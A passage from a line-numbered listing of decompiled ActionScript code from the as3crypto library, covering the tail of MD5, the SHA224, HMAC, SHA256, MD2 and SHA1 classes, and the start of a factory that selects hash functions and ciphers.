  2438. _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 2)], 17, 606105819);
  2439.  
  2440. _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 3)], 22, 3250441966);
  2441.  
  2442. _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 4)], 7, 4118548399);
  2443.  
  2444. _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 5)], 12, 1200080426);
  2445.  
  2446. _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 6)], 17, 2821735955);
  2447.  
  2448. _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 7)], 22, 4249261313);
  2449.  
  2450. _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 8)], 7, 1770035416);
  2451.  
  2452. _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 9)], 12, 2336552879);
  2453.  
  2454. _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 10)], 17, 0xFFFF5BB1);
  2455.  
  2456. _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 11)], 22, 2304563134);
  2457.  
  2458. _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 12)], 7, 1804603682);
  2459.  
  2460. _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 13)], 12, 4254626195);
  2461.  
  2462. _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 14)], 17, 2792965006);
  2463.  
  2464. _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 15)], 22, 1236535329);
  2465.  
  2466. _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 1)], 5, 4129170786);
  2467.  
  2468. _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 6)], 9, 3225465664);
  2469.  
  2470. _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 11)], 14, 643717713);
  2471.  
  2472. _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 0)], 20, 3921069994);
  2473.  
  2474. _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 5)], 5, 3593408605);
  2475.  
  2476. _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 10)], 9, 38016083);
  2477.  
  2478. _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 15)], 14, 3634488961);
  2479.  
  2480. _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 4)], 20, 3889429448);
  2481.  
  2482. _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 9)], 5, 568446438);
  2483.  
  2484. _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 14)], 9, 3275163606);
  2485.  
  2486. _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 3)], 14, 4107603335);
  2487.  
  2488. _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 8)], 20, 1163531501);
  2489.  
  2490. _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 13)], 5, 2850285829);
  2491.  
  2492. _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 2)], 9, 4243563512);
  2493.  
  2494. _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 7)], 14, 1735328473);
  2495.  
  2496. _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 12)], 20, 2368359562);
  2497.  
  2498. _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 5)], 4, 4294588738);
  2499.  
  2500. _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 8)], 11, 2272392833);
  2501.  
  2502. _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 11)], 16, 1839030562);
  2503.  
  2504. _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 14)], 23, 4259657740);
  2505.  
  2506. _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 1)], 4, 2763975236);
  2507.  
  2508. _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 4)], 11, 1272893353);
  2509.  
  2510. _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 7)], 16, 4139469664);
  2511.  
  2512. _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 10)], 23, 3200236656);
  2513.  
  2514. _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 13)], 4, 681279174);
  2515.  
  2516. _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 0)], 11, 3936430074);
  2517.  
  2518. _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 3)], 16, 3572445317);
  2519.  
  2520. _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 6)], 23, 76029189);
  2521.  
  2522. _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 9)], 4, 3654602809);
  2523.  
  2524. _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 12)], 11, 3873151461);
  2525.  
  2526. _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 15)], 16, 530742520);
  2527.  
  2528. _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 2)], 23, 3299628645);
  2529.  
  2530. _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 0)], 6, 4096336452);
  2531.  
  2532. _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 7)], 10, 1126891415);
  2533.  
  2534. _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 14)], 15, 2878612391);
  2535.  
  2536. _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 5)], 21, 4237533241);
  2537.  
  2538. _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 12)], 6, 1700485571);
  2539.  
  2540. _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 3)], 10, 2399980690);
  2541.  
  2542. _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 10)], 15, 4293915773);
  2543.  
  2544. _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 1)], 21, 2240044497);
  2545.  
  2546. _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 8)], 6, 1873313359);
  2547.  
  2548. _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 15)], 10, 4264355552);
  2549.  
  2550. _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 6)], 15, 2734768916);
  2551.  
  2552. _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 13)], 21, 1309151649);
  2553.  
  2554. _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 4)], 6, 4149444226);
  2555.  
  2556. _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 11)], 10, 3174756917);
  2557.  
  2558. _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 2)], 15, 718787259);
  2559.  
  2560. _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 9)], 21, 3951481745);
  2561.  
  2562. _local3 = (_local3 + _local8);
  2563.  
  2564. _local4 = (_local4 + _local9);
  2565.  
  2566. _local5 = (_local5 + _local10);
  2567.  
  2568. _local6 = (_local6 + _local11);
  2569.  
  2570. _local7 = (_local7 + 16);
  2571.  
  2572. };
  2573.  
  2574. return ([_local3, _local4, _local5, _local6]);
  2575.  
  2576. }
  2577.  
  2578.  
  2579.  
  2580. }
  2581.  
  2582. }//package com.hurlant.crypto.hash
  2583.  
  2584. &#65279;package com.hurlant.crypto.hash {
  2585.  
  2586.  
  2587.  
  2588. public class SHA224 extends SHA256 {
  2589.  
  2590.  
  2591.  
  2592. public function SHA224(){
  2593.  
  2594. h = [3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428];
  2595.  
  2596. }
  2597.  
  2598. override public function getHashSize():uint{
  2599.  
  2600. return (28);
  2601.  
  2602. }
  2603.  
  2604. override public function tostring():string{
  2605.  
  2606. return ("sha224");
  2607.  
  2608. }
  2609.  
  2610.  
  2611.  
  2612. }
  2613.  
  2614. }//package com.hurlant.crypto.hash
  2615.  
  2616. &#65279;package com.hurlant.crypto.hash {
  2617.  
  2618. import flash.utils.*;
  2619.  
  2620.  
  2621.  
  2622. public class HMAC {
  2623.  
  2624.  
  2625.  
  2626. private var bits:uint;
  2627.  
  2628. private var hash:IHash;
  2629.  
  2630.  
  2631.  
  2632. public function HMAC(_arg1:IHash, _arg2:uint=0){
  2633.  
  2634. this.hash = _arg1;
  2635.  
  2636. this.bits = _arg2;
  2637.  
  2638. }
  2639.  
  2640. public function getHashSize():uint{
  2641.  
  2642. if (bits != 0){
  2643.  
  2644. return ((bits / 8));
  2645.  
  2646. };
  2647.  
  2648. return (hash.getHashSize());
  2649.  
  2650. }
  2651.  
  2652. public function dispose():void{
  2653.  
  2654. hash = null;
  2655.  
  2656. bits = 0;
  2657.  
  2658. }
  2659.  
  2660. public function compute(_arg1:ByteArray, _arg2:ByteArray):ByteArray{
  2661.  
  2662. var _local3:ByteArray;
  2663.  
  2664. var _local4:ByteArray;
  2665.  
  2666. var _local5:ByteArray;
  2667.  
  2668. var _local6:uint;
  2669.  
  2670. var _local7:ByteArray;
  2671.  
  2672. var _local8:ByteArray;
  2673.  
  2674. if (_arg1.length > hash.getInputSize()){
  2675.  
  2676. _local3 = hash.hash(_arg1);
  2677.  
  2678. } else {
  2679.  
  2680. _local3 = new ByteArray();
  2681.  
  2682. _local3.writeBytes(_arg1);
  2683.  
  2684. };
  2685.  
  2686. while (_local3.length < hash.getInputSize()) {
  2687.  
  2688. _local3[_local3.length] = 0;
  2689.  
  2690. };
  2691.  
  2692. _local4 = new ByteArray();
  2693.  
  2694. _local5 = new ByteArray();
  2695.  
  2696. _local6 = 0;
  2697.  
  2698. while (_local6 < _local3.length) {
  2699.  
  2700. _local4[_local6] = (_local3[_local6] ^ 54);
  2701.  
  2702. _local5[_local6] = (_local3[_local6] ^ 92);
  2703.  
  2704. _local6++;
  2705.  
  2706. };
  2707.  
  2708. _local4.position = _local3.length;
  2709.  
  2710. _local4.writeBytes(_arg2);
  2711.  
  2712. _local7 = hash.hash(_local4);
  2713.  
  2714. _local5.position = _local3.length;
  2715.  
  2716. _local5.writeBytes(_local7);
  2717.  
  2718. _local8 = hash.hash(_local5);
  2719.  
  2720. if ((((bits > 0)) && ((bits < (8 * _local8.length))))){
  2721.  
  2722. _local8.length = (bits / 8);
  2723.  
  2724. };
  2725.  
  2726. return (_local8);
  2727.  
  2728. }
  2729.  
  2730. public function tostring():string{
  2731.  
  2732. return ((("hmac-" + (((bits > 0)) ? (bits + "-") : "")) + hash.tostring()));
  2733.  
  2734. }
  2735.  
  2736.  
  2737.  
  2738. }
  2739.  
  2740. }//package com.hurlant.crypto.hash
  2741.  
  2742. &#65279;package com.hurlant.crypto.hash {
  2743.  
  2744.  
  2745.  
  2746. public class SHA256 extends SHABase implements IHash {
  2747.  
  2748.  
  2749.  
  2750. protected static const k:array = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298];
  2751.  
  2752.  
  2753.  
  2754. protected var h:array;
  2755.  
  2756.  
  2757.  
  2758. public function SHA256(){
  2759.  
  2760. h = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225];
  2761.  
  2762. super();
  2763.  
  2764. }
  2765.  
  2766. protected function rrol(_arg1:uint, _arg2:uint):uint{
  2767.  
  2768. return (((_arg1 << (32 - _arg2)) | (_arg1 >>> _arg2)));
  2769.  
  2770. }
  2771.  
  2772. override public function tostring():string{
  2773.  
  2774. return ("sha256");
  2775.  
  2776. }
  2777.  
  2778. override public function getHashSize():uint{
  2779.  
  2780. return (32);
  2781.  
  2782. }
  2783.  
  2784. override protected function core(_arg1:array, _arg2:uint):array{
  2785.  
  2786. var _local3:array;
  2787.  
  2788. var _local4:uint;
  2789.  
  2790. var _local5:uint;
  2791.  
  2792. var _local6:uint;
  2793.  
  2794. var _local7:uint;
  2795.  
  2796. var _local8:uint;
  2797.  
  2798. var _local9:uint;
  2799.  
  2800. var _local10:uint;
  2801.  
  2802. var _local11:uint;
  2803.  
  2804. var _local12:uint;
  2805.  
  2806. var _local13:uint;
  2807.  
  2808. var _local14:uint;
  2809.  
  2810. var _local15:uint;
  2811.  
  2812. var _local16:uint;
  2813.  
  2814. var _local17:uint;
  2815.  
  2816. var _local18:uint;
  2817.  
  2818. var _local19:uint;
  2819.  
  2820. var _local20:uint;
  2821.  
  2822. var _local21:uint;
  2823.  
  2824. var _local22:uint;
  2825.  
  2826. var _local23:uint;
  2827.  
  2828. var _local24:uint;
  2829.  
  2830. var _local25:uint;
  2831.  
  2832. _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (24 - (_arg2 % 32))));
  2833.  
  2834. _arg1[((((_arg2 + 64) >> 9) << 4) + 15)] = _arg2;
  2835.  
  2836. _local3 = [];
  2837.  
  2838. _local4 = h[0];
  2839.  
  2840. _local5 = h[1];
  2841.  
  2842. _local6 = h[2];
  2843.  
  2844. _local7 = h[3];
  2845.  
  2846. _local8 = h[4];
  2847.  
  2848. _local9 = h[5];
  2849.  
  2850. _local10 = h[6];
  2851.  
  2852. _local11 = h[7];
  2853.  
  2854. _local12 = 0;
  2855.  
  2856. while (_local12 < _arg1.length) {
  2857.  
  2858. _local13 = _local4;
  2859.  
  2860. _local14 = _local5;
  2861.  
  2862. _local15 = _local6;
  2863.  
  2864. _local16 = _local7;
  2865.  
  2866. _local17 = _local8;
  2867.  
  2868. _local18 = _local9;
  2869.  
  2870. _local19 = _local10;
  2871.  
  2872. _local20 = _local11;
  2873.  
  2874. _local21 = 0;
  2875.  
  2876. while (_local21 < 64) {
  2877.  
  2878. if (_local21 < 16){
  2879.  
  2880. _local3[_local21] = ((_arg1[(_local12 + _local21)]) || (0));
  2881.  
  2882. } else {
  2883.  
  2884. _local24 = ((rrol(_local3[(_local21 - 15)], 7) ^ rrol(_local3[(_local21 - 15)], 18)) ^ (_local3[(_local21 - 15)] >>> 3));
  2885.  
  2886. _local25 = ((rrol(_local3[(_local21 - 2)], 17) ^ rrol(_local3[(_local21 - 2)], 19)) ^ (_local3[(_local21 - 2)] >>> 10));
  2887.  
  2888. _local3[_local21] = (((_local3[(_local21 - 16)] + _local24) + _local3[(_local21 - 7)]) + _local25);
  2889.  
  2890. };
  2891.  
  2892. _local22 = (((rrol(_local4, 2) ^ rrol(_local4, 13)) ^ rrol(_local4, 22)) + (((_local4 & _local5) ^ (_local4 & _local6)) ^ (_local5 & _local6)));
  2893.  
  2894. _local23 = ((((_local11 + ((rrol(_local8, 6) ^ rrol(_local8, 11)) ^ rrol(_local8, 25))) + ((_local8 & _local9) ^ (_local10 & ~(_local8)))) + k[_local21]) + _local3[_local21]);
  2895.  
  2896. _local11 = _local10;
  2897.  
  2898. _local10 = _local9;
  2899.  
  2900. _local9 = _local8;
  2901.  
  2902. _local8 = (_local7 + _local23);
  2903.  
  2904. _local7 = _local6;
  2905.  
  2906. _local6 = _local5;
  2907.  
  2908. _local5 = _local4;
  2909.  
  2910. _local4 = (_local23 + _local22);
  2911.  
  2912. _local21++;
  2913.  
  2914. };
  2915.  
  2916. _local4 = (_local4 + _local13);
  2917.  
  2918. _local5 = (_local5 + _local14);
  2919.  
  2920. _local6 = (_local6 + _local15);
  2921.  
  2922. _local7 = (_local7 + _local16);
  2923.  
  2924. _local8 = (_local8 + _local17);
  2925.  
  2926. _local9 = (_local9 + _local18);
  2927.  
  2928. _local10 = (_local10 + _local19);
  2929.  
  2930. _local11 = (_local11 + _local20);
  2931.  
  2932. _local12 = (_local12 + 16);
  2933.  
  2934. };
  2935.  
  2936. return ([_local4, _local5, _local6, _local7, _local8, _local9, _local10, _local11]);
  2937.  
  2938. }
  2939.  
  2940.  
  2941.  
  2942. }
  2943.  
  2944. }//package com.hurlant.crypto.hash
  2945.  
  2946. &#65279;package com.hurlant.crypto.hash {
  2947.  
  2948. import flash.utils.*;
  2949.  
  2950.  
  2951.  
  2952. public class MD2 implements IHash {
  2953.  
  2954.  
  2955.  
  2956. public static const HASH_SIZE:int = 16;
  2957.  
  2958. private static const S:array = [41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, 204, 231, 191, 247, 151, 3, 0xFF, 25, 48, 179, 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, 141, 51, 159, 17, 131, 20];
  2959.  
  2960.  
  2961.  
  2962. public function getHashSize():uint{
  2963.  
  2964. return (HASH_SIZE);
  2965.  
  2966. }
  2967.  
  2968. public function tostring():string{
  2969.  
  2970. return ("md2");
  2971.  
  2972. }
  2973.  
  2974. public function getInputSize():uint{
  2975.  
  2976. return (16);
  2977.  
  2978. }
  2979.  
  2980. public function hash(_arg1:ByteArray):ByteArray{
  2981.  
  2982. var _local2:uint;
  2983.  
  2984. var _local3:uint;
  2985.  
  2986. var _local4:uint;
  2987.  
  2988. var _local5:ByteArray;
  2989.  
  2990. var _local6:uint;
  2991.  
  2992. var _local7:ByteArray;
  2993.  
  2994. var _local8:uint;
  2995.  
  2996. var _local9:uint;
  2997.  
  2998. var _local10:uint;
  2999.  
  3000. _local2 = _arg1.length;
  3001.  
  3002. _local3 = (((16 - (_arg1.length % 16))) || (16));
  3003.  
  3004. do {
  3005.  
  3006. _arg1[_arg1.length] = _local3;
  3007.  
  3008. } while ((_arg1.length % 16) != 0);
  3009.  
  3010. _local4 = _arg1.length;
  3011.  
  3012. _local5 = new ByteArray();
  3013.  
  3014. _local6 = 0;
  3015.  
  3016. _local3 = 0;
  3017.  
  3018. while (_local3 < _local4) {
  3019.  
  3020. _local8 = 0;
  3021.  
  3022. while (_local8 < 16) {
  3023.  
  3024. _local6 = (_local5[_local8] = (_local5[_local8] ^ S[(_arg1[(_local3 + _local8)] ^ _local6)]));
  3025.  
  3026. _local8++;
  3027.  
  3028. };
  3029.  
  3030. _local3 = (_local3 + 16);
  3031.  
  3032. };
  3033.  
  3034. _arg1.position = _arg1.length;
  3035.  
  3036. _arg1.writeBytes(_local5);
  3037.  
  3038. _local4 = (_local4 + 16);
  3039.  
  3040. _local7 = new ByteArray();
  3041.  
  3042. _local3 = 0;
  3043.  
  3044. while (_local3 < _local4) {
  3045.  
  3046. _local8 = 0;
  3047.  
  3048. while (_local8 < 16) {
  3049.  
  3050. _local7[(32 + _local8)] = ((_local7[(16 + _local8)] = _arg1[(_local3 + _local8)]) ^ _local7[_local8]);
  3051.  
  3052. _local8++;
  3053.  
  3054. };
  3055.  
  3056. _local9 = 0;
  3057.  
  3058. _local8 = 0;
  3059.  
  3060. while (_local8 < 18) {
  3061.  
  3062. _local10 = 0;
  3063.  
  3064. while (_local10 < 48) {
  3065.  
  3066. _local9 = (_local7[_local10] ^ S[_local9]);
  3067.  
  3068. _local7[_local10] = _local9;
  3069.  
  3070. _local10++;
  3071.  
  3072. };
  3073.  
  3074. _local9 = ((_local9 + _local8) & 0xFF);
  3075.  
  3076. _local8++;
  3077.  
  3078. };
  3079.  
  3080. _local3 = (_local3 + 16);
  3081.  
  3082. };
  3083.  
  3084. _local7.length = 16;
  3085.  
  3086. _arg1.length = _local2;
  3087.  
  3088. return (_local7);
  3089.  
  3090. }
  3091.  
  3092.  
  3093.  
  3094. }
  3095.  
  3096. }//package com.hurlant.crypto.hash
  3097.  
  3098. &#65279;package com.hurlant.crypto.hash {
  3099.  
  3100.  
  3101.  
  3102. public class SHA1 extends SHABase implements IHash {
  3103.  
  3104.  
  3105.  
  3106. public static const HASH_SIZE:int = 20;
  3107.  
  3108.  
  3109.  
  3110. private function ft(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint):uint{
  3111.  
  3112. if (_arg1 < 20){
  3113.  
  3114. return (((_arg2 & _arg3) | (~(_arg2) & _arg4)));
  3115.  
  3116. };
  3117.  
  3118. if (_arg1 < 40){
  3119.  
  3120. return (((_arg2 ^ _arg3) ^ _arg4));
  3121.  
  3122. };
  3123.  
  3124. if (_arg1 < 60){
  3125.  
  3126. return ((((_arg2 & _arg3) | (_arg2 & _arg4)) | (_arg3 & _arg4)));
  3127.  
  3128. };
  3129.  
  3130. return (((_arg2 ^ _arg3) ^ _arg4));
  3131.  
  3132. }
  3133.  
  3134. private function kt(_arg1:uint):uint{
  3135.  
  3136. return (((_arg1)<20) ? 1518500249 : ((_arg1)<40) ? 1859775393 : ((_arg1)<60) ? 2400959708 : 3395469782);
  3137.  
  3138. }
  3139.  
  3140. override public function tostring():string{
  3141.  
  3142. return ("sha1");
  3143.  
  3144. }
  3145.  
  3146. override public function getHashSize():uint{
  3147.  
  3148. return (HASH_SIZE);
  3149.  
  3150. }
  3151.  
  3152. private function rol(_arg1:uint, _arg2:uint):uint{
  3153.  
  3154. return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));
  3155.  
  3156. }
  3157.  
  3158. override protected function core(_arg1:array, _arg2:uint):array{
  3159.  
  3160. var _local3:array;
  3161.  
  3162. var _local4:uint;
  3163.  
  3164. var _local5:uint;
  3165.  
  3166. var _local6:uint;
  3167.  
  3168. var _local7:uint;
  3169.  
  3170. var _local8:uint;
  3171.  
  3172. var _local9:uint;
  3173.  
  3174. var _local10:uint;
  3175.  
  3176. var _local11:uint;
  3177.  
  3178. var _local12:uint;
  3179.  
  3180. var _local13:uint;
  3181.  
  3182. var _local14:uint;
  3183.  
  3184. var _local15:uint;
  3185.  
  3186. var _local16:uint;
  3187.  
  3188. _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (24 - (_arg2 % 32))));
  3189.  
  3190. _arg1[((((_arg2 + 64) >> 9) << 4) + 15)] = _arg2;
  3191.  
  3192. _local3 = [];
  3193.  
  3194. _local4 = 1732584193;
  3195.  
  3196. _local5 = 4023233417;
  3197.  
  3198. _local6 = 2562383102;
  3199.  
  3200. _local7 = 271733878;
  3201.  
  3202. _local8 = 3285377520;
  3203.  
  3204. _local9 = 0;
  3205.  
  3206. while (_local9 < _arg1.length) {
  3207.  
  3208. _local10 = _local4;
  3209.  
  3210. _local11 = _local5;
  3211.  
  3212. _local12 = _local6;
  3213.  
  3214. _local13 = _local7;
  3215.  
  3216. _local14 = _local8;
  3217.  
  3218. _local15 = 0;
  3219.  
  3220. while (_local15 < 80) {
  3221.  
  3222. if (_local15 < 16){
  3223.  
  3224. _local3[_local15] = ((_arg1[(_local9 + _local15)]) || (0));
  3225.  
  3226. } else {
  3227.  
  3228. _local3[_local15] = rol((((_local3[(_local15 - 3)] ^ _local3[(_local15 - 8)]) ^ _local3[(_local15 - 14)]) ^ _local3[(_local15 - 16)]), 1);
  3229.  
  3230. };
  3231.  
  3232. _local16 = ((((rol(_local4, 5) + ft(_local15, _local5, _local6, _local7)) + _local8) + _local3[_local15]) + kt(_local15));
  3233.  
  3234. _local8 = _local7;
  3235.  
  3236. _local7 = _local6;
  3237.  
  3238. _local6 = rol(_local5, 30);
  3239.  
  3240. _local5 = _local4;
  3241.  
  3242. _local4 = _local16;
  3243.  
  3244. _local15++;
  3245.  
  3246. };
  3247.  
  3248. _local4 = (_local4 + _local10);
  3249.  
  3250. _local5 = (_local5 + _local11);
  3251.  
  3252. _local6 = (_local6 + _local12);
  3253.  
  3254. _local7 = (_local7 + _local13);
  3255.  
  3256. _local8 = (_local8 + _local14);
  3257.  
  3258. _local9 = (_local9 + 16);
  3259.  
  3260. };
  3261.  
  3262. return ([_local4, _local5, _local6, _local7, _local8]);
  3263.  
  3264. }
  3265.  
  3266.  
  3267.  
  3268. }
  3269.  
  3270. }//package com.hurlant.crypto.hash
  3271.  
  3272. &#65279;package com.hurlant.crypto {
  3273.  
  3274. import flash.utils.*;
  3275.  
  3276. import com.hurlant.crypto.symmetric.*;
  3277.  
  3278. import com.hurlant.crypto.hash.*;
  3279.  
  3280. import com.hurlant.crypto.rsa.*;
  3281.  
  3282. import com.hurlant.crypto.prng.*;
  3283.  
  3284. import com.hurlant.util.*;
  3285.  
  3286.  
  3287.  
  3288. public class Crypto {
  3289.  
  3290.  
  3291.  
  3292. private var b64:Base64;
  3293.  
  3294.  
  3295.  
  3296. public static function getCipher(_arg1:string, _arg2:ByteArray, _arg3:IPad=null):ICipher{
  3297.  
  3298. var _local4:array;
  3299.  
  3300. var _local5:ICipher;
  3301.  
  3302. _local4 = _arg1.split("-");
  3303.  
  3304. switch (_local4[0]){
  3305.  
  3306. case "simple":
  3307.  
  3308. _local4.shift();
  3309.  
  3310. _arg1 = _local4.join("-");
  3311.  
  3312. _local5 = getCipher(_arg1, _arg2, _arg3);
  3313.  
  3314. if ((_local5 is IVMode)){
  3315.  
  3316. return (new SimpleIVMode((_local5 as IVMode)));
  3317.  
  3318. };
  3319.  
  3320. return (_local5);
  3321.  
  3322. case "aes":
  3323.  
  3324. case "aes128":
  3325.  
  3326. case "aes192":
  3327.  
  3328. case "aes256":
  3329.  
  3330. _local4.shift();
  3331.  
  3332. if ((_arg2.length * 8) == _local4[0]){
  3333.  
  3334. _local4.shift();
  3335.  
  3336. };
  3337.  
  3338. return (getMode(_local4[0], new AESKey(_arg2), _arg3));
  3339.  
  3340. case "bf":
  3341.  
  3342. case "blowfish":
  3343.  
  3344. _local4.shift();
  3345.  
  3346. return (getMode(_local4[0], new BlowFishKey(_arg2), _arg3));
  3347.  
  3348. case "des":
  3349.  
  3350. _local4.shift();
  3351.  
  3352. if (((!((_local4[0] == "ede"))) && (!((_local4[0] == "ede3"))))){
  3353.  
  3354. return (getMode(_local4[0], new DESKey(_arg2), _arg3));
  3355.  
  3356. };
  3357.  
  3358. if (_local4.length == 1){
  3359.  
  3360. _local4.push("ecb");
  3361.  
  3362. };
  3363.  
  3364. case "3des":
  3365.  
  3366. case "des3":
  3367.  
  3368. _local4.shift();
  3369.  
  3370. return (getMode(_local4[0], new TripleDESKey(_arg2), _arg3));
  3371.  
  3372. case "xtea":
  3373.  
  3374. _local4.shift();
  3375.  
  3376. return (getMode(_local4[0], new XTeaKey(_arg2), _arg3));
  3377.  
  3378. case "rc4":
  3379.  
  3380. _local4.shift();
  3381.  
  3382. return (new ARC4(_arg2));
  3383.  
  3384. };
  3385.  
  3386. return (null);
  3387.  
  3388. }
  3389.  
  3390. public static function getHash(_arg1:string):IHash{
  3391.  
  3392. switch (_arg1){
  3393.  
  3394. case "md2":
  3395.  
  3396. return (new MD2());
  3397.  
  3398. case "md5":
  3399.  
  3400. return (new MD5());
  3401.  
  3402. case "sha":
  3403.  
  3404. case "sha1":
  3405.  
  3406. return (new SHA1());
  3407.  
  3408. case "sha224":
  3409.  
  3410. return (new SHA224());
  3411.  
  3412. case "sha256":
  3413.  
  3414. return (new SHA256());
  3415.  
  3416. };
  3417.  
  3418. return (null);
  3419.  
  3420. }
  3421.  
  3422. public static function getRSA(_arg1:string, _arg2:string):RSAKey{
  3423.  
  3424. return (RSAKey.parsePublicKey(_arg2, _arg1));
  3425.  
  3426. }
  3427.  
  3428. private static function getMode(_arg1:string, _arg2:ISymmetricKey, _arg3:IPad=null):IMode{
  3429.  
  3430. switch (_arg1){
  3431.  
  3432. case "ecb":
  3433.  
  3434. return (new ECBMode(_arg2, _arg3));
  3435.  
  3436. case "cfb":
  3437.  
  3438. return (new CFBMode(_arg2, _arg3));
  3439.  
  3440. case "cfb8":
  3441.  
  3442. return (new CFB8Mode(_arg2, _arg3));
  3443.  
  3444. case "ofb":
  3445.  
  3446. return (new OFBMode(_arg2, _arg3));
  3447.  
  3448. case "ctr":
  3449.  
